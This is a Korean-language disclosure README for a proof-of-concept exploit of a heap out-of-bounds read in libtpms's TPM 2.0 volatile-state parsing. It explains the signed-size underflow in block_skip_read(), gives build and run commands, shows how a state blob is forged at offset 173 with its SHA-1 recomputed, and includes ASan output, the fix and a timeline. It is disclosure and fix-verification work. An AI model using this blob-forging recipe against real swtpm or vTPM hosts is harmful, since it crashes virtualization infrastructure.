
CVE-2026-85769에 대한 개념 증명 익스플로잇으로, libtpms TPM 2.0 상태 역직렬화의 힙 버퍼 오버리드(heap out-of-bounds read) 취약점을 악용하여 조작된 상태 블롭(state blob)을 통해 서비스 거부(denial of service)를 시연합니다.
libtpms TPM 2.0 휘발성 상태 역직렬화에서의 힙 범위 밖 읽기(Heap out-of-bounds read).
block_skip_read()의 무제한 선택적 블록 건너뛰기가 언마샬(unmarshal) 커서를 공격자가 제어하는 16비트 길이만큼 전진시키고, 부호 있는 남은 크기 카운터를 음수로 만듭니다. 이후 모든 다운스트림 경계 검사는 그 부호 있는 값을 부호 없는 값으로 캐스팅하기 때문에 모두 통과합니다. 위조되고 자체 체크섬이 적용된 휘발성 상태 블롭(blob)이 TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …)를 통해 전달되면 힙 범위 밖 읽기가 발생하고 libtpms를 호스팅하는 프로세스(vTPM 배포 환경의 swtpm)가 중단됩니다.
| CVE | CVE-2026-85769 |
| 구성 요소 | src/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c |
| CWE | CWE-125 ← CWE-191 (정수 언더플로) + CWE-195 (부호-무부호 변환) |
| 영향 | master f7f072b2, v0.10.2 03ff2481, 및 이 코드를 포함한 이전 릴리스 |
| 수정 | 9e1475ff — "tpm2: UINT32로 캐스팅하기 전에 *size < 0 검사 추가" (PR #613) |
| CVSS 3.1 | AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate) |
| 보고일 | 2026-09-01, 유지관리자에게 비공개로 보고 |
block_skip_read()는 선택적 버전 블록을 건너뛸 때 남은 바이트 수에 대해 길이를 검사하지 않고 파싱 커서를 전진시킵니다:
} else if (has_block && !needs_block) {
/* byte stream has the data but we don't need them */
*buffer += blocksize; /* blocksize is a UINT16 from the blob */
*size -= blocksize; /* *size is INT32 — goes negative */
*skip_code = TRUE;
}
*size는 부호 있는 값입니다. 음수가 되면 모든 스칼라 읽기 앞의 가드가 작동을 멈춥니다:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2 -> false /* guard passes */
할당 영역을 지나 파싱이 진행될수록 *size는 더 음수가 되고 — 부호 없는 값으로는 더 크게 보입니다. 동일한 파일의 Array_Unmarshal에는 이미 부호 있는 값으로 비교하는 올바른 형태가 있습니다.
유일한 무결성 게이트는 블롭에 추가된 키 없는 SHA-1(src/tpm2/Volatile.c)이므로, PoC는 변조 후 이를 다시 계산합니다.
TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …)와 전원 온 복원 체인 TPMLIB_MainInit → _TPM_Init → VolatileLoad를 통해 도달합니다.
swtpm 배포 환경에서 관련 경로는 라이브 마이그레이션입니다 — libvirt가 구동하는 CMD_GET_STATEBLOB / CMD_SET_STATEBLOB. 대상 호스트는 소스 호스트에서 생성된 상태 블롭을 파싱합니다. 구성된 --migration-key는 이를 완화하지 않습니다: 키는 두 호스트 간에 공유되므로, 손상된 소스가 키를 보유하고 올바르게 복호화되는 블롭을 생성할 수 있습니다. 이는 중간에 개입한 제3자를 방어할 뿐, 적대적인 피어에 대해서는 방어하지 못합니다.
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967 # v0.10.2, or ba73ab17 for pre-fix master
./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin
# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610
# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0
8610은 커서가 와일드 포인터가 아닌 ASan의 레드존에 위치하도록 크기가 정해졌습니다:
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
오프셋 173은 ORDERLY_DATA skip_future_versions 트레일러의 has_block 바이트입니다. 이는 바이트를 세는 방식이 아니라 파싱 중 block_skip_read()에 오프셋을 출력하도록 계측하여 찾았습니다 — 오프셋은 상태 형식에 따라 달라지므로, 블롭 길이가 8778과 다르면 다시 유도해야 합니다.
skip_self_heal_timer는 사용 가능한 트레일러가 아님에 유의하십시오: TpmBuildSwitches.h의 ACCUMULATE_SELF_HEAL_TIMER YES는 needs_block = TRUE로 방출되어 안전한 분기를 취함을 의미합니다.
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
오류는 block_skip_read가 아닌 UINT16_Unmarshal에서 표면화됩니다 — 건너뛰기는 커서를 전진시키고 읽지 않고 반환합니다. 손상은 다음 구조체 읽기에서 발생합니다.
수정된 커밋에 대해서는 모든 공격 사례가 ASan 보고 없이 TPM_RC_INSUFFICIENT (0x9a)를 반환하며, 유효한 블롭은 여전히 rc=0으로 복원됩니다.
libtpms를 호스팅하는 프로세스의 서비스 거부 및 정의되지 않은 동작.
정보 공개는 테스트되었고 배제되었습니다. 비-ASan 빌드에서의 작은 초과 읽기는 매번 TPM_RC_BAD_TAG (0x1e)를 반환합니다:
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
초과 읽기 직후의 읽기는 고정 상수와 일치해야 하는 32비트 매직 값을 가진 NV_HEADER입니다. 인접 힙이 이를 만족할 확률은 p ≈ 2⁻³²입니다. 파싱은 중단되고, ClearAllCachedState()가 모든 것을 폐기하며, 범위 밖 바이트는 TPMLIB_GetState에 도달하지 않습니다. 따라서 기밀성은 C:N입니다. Red Hat의 검토도 독립적으로 동일한 결론에 도달했습니다.
Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)
Leyao(ICT CAS)에 의해 독립적으로 보고되었으며, 동일한 CVE에 크레딧이 부여됨.
이 PoC는 이슈가 업스트림에서 수정되고 CVE가 지정된 후에 게시되었습니다. 오픈소스 라이브러리의 로컬 빌드를 대상으로 하며 파싱을 트리거하는 것 외에는 아무것도 하지 않습니다. 테스트할 권한이 있는 대상만 테스트하십시오.
MIT
| 날짜 |
|---|
| 2026-09-01 | libtpms 유지관리자에게 비공개로 보고 |
| 2026-09-04 | 동일한 근본 원인이 Leyao(ICT CAS)에 의해 libtpms 이슈 #614로 공개적이고 독립적으로 보고됨 |
| 2026-09-04 | 업스트림 9e1475ff(PR #613)에서 수정됨; 이 PoC로 수정 검증됨 |
| 2026-09-04 | Red Hat Product Security에 보고 |
| 2026-09-04 | CVE-2026-85769 지정 |